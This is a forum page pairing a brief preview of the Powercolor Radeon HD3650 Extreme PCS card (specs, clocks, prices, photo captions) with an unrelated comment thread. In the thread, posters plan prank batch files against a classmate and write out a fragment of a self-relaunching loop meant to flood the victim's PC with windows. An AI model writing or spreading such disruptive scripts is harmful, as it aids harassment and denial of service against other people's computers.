Powercolor HD3650 Extreme PCS performance preview and pictures

HD3650 pictures and information

Powercolor Radeon HD3650 Performance preview
Powercolor kindly sent us one of their HD3650's to play with.
Having only had a few hours to play with the card I haven't had time to squeeze out a review but I thought you might like some figures and a few pics.

Chipset: HD 3650
Edition: Extreme PCS
Chipset Features: ATI CrossFireX™ multi-GPU technology
HDMI Output Support
Microsoft DirectX® 10.1
Shader Model 4.1
GPU Speed: 800 MHz
Memory: 512MB
Memory Bit Rate: 128 Bit
Memory Type: GDDR3
Memory Speed: 1800 MHz
Pipelines/Stream Process:
Cooling: Fan
Interface: PCI-E 2.0 (x16)
Connectivity: 2 x Dual Link DVI-I
As you can see, the core clock is running at a pretty steaming 800MHz and the memory at an equally fast 1800MHz...that's what we like to see!
Of course, add to this DX10.1 support, an improved Unified Video Decoder and 55nm process technology and you're onto a winner.
amd tech sheet
AMD have also added to ATI's arsenal of late with awesome power saving technology (around 75w at load) and the core clocks itself down to 300MHz when sitting in Vista Aero desktop.
If you want to hear a little more of the technology features of the new cards, check Bit-Tech here.
The Card
The card itself is a fairly small affair with a nice custom cooler installed on it. Beside the red PCB, the HD3850 shows it's a budget card by having liquid capacitors on it, although they are good quality capacitors at that.
powercolor hd3850  hd3650 rear card
powercolor hd3650 cooler
You'll notice that the card has dual DVI and a TV out on it, which is great news for a card that is slated for a price-tag of around £60 for this Extreme PCS version...some editions from Powercolor are even slated at a fantastic £46.
ddr3 hd3650
You'll notice that all the cards feature 512mb of DDR3 and of course, with ATI's excellent memory architecture the card will be able to utilise this amount of RAM and provide the bandwidth needed to make sure it really makes a difference. This Powercolor card has 512mb comprised of 8 x 64mb Samsung K4J52324QE-BJ1A DDR3 chips capable of 1000MHz (2000MHz).
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Most Recent Comments

21-01-2008, 09:27:05

I need a few ideas to create a batch file for this lad in my class, he's being a real a-hole and we want to make a batch file for him...any ideas?
nothing malitious though just for a joke, cruel joke.
I'll probably need help writing it aswell ^_^

21-01-2008, 09:48:21


^Start a million calculators on his PC. BTW You didn't get this from me and I accept no responsibility for its usage :p

21-01-2008, 09:49:55

I am so tempted to try this myself on a few college mates.

21-01-2008, 10:29:10

We already did one to a mate...we made a Counter-Strike shortcut which was actually a batch file which looped cmd windows :p

Reboot time xD

21-01-2008, 10:29:13

meh calc isnt bad but I want something a bit better....
On a side note we were making a CS 1.6 LAN event and our mate said 'should we make a ping limit' LOL
This is the one apoc is on about

start joke.bat
Goto loop

Save as joke.bat

21-01-2008, 10:31:09

I dont think the shutdown command works in college. Perhaps make a batch that launches a batch that launches another and so on, all of which looping a different program...not strong enough to crash but anoying so that they sit back crying?

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